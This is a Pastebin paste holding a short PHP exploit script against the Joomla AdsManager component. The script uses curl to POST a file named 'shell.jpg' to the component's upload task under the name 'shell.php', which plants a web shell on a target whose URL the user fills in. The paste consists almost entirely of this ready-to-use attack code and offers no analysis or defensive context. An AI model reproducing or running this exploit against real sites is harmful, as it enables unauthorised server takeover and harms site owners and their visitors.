Advertisement
ken7

Exploit Com_Adsmanager

Jul 7th, 2015
982
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.74 KB | None | 0 0
  1. <?php
  2.  /* http://ken7ester.blogspot.com/ */
  3. $url = "http://localhost/index.php?option=com_adsmanager&task=upload&tmpl=component"; // put URL Here
  4. $post = array
  5. (
  6.         "file" => "@shell.jpg",
  7.         "name" => "shell.php"
  8. );
  9. $ch = curl_init ("$url");
  10. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  11. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  12. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  13. curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 5);
  14. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  15. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  16. curl_setopt ($ch, CURLOPT_POST, 1);
  17. @curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  18. $data = curl_exec ($ch);
  19. curl_close ($ch);
  20. echo $data;
  21.  
  22. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement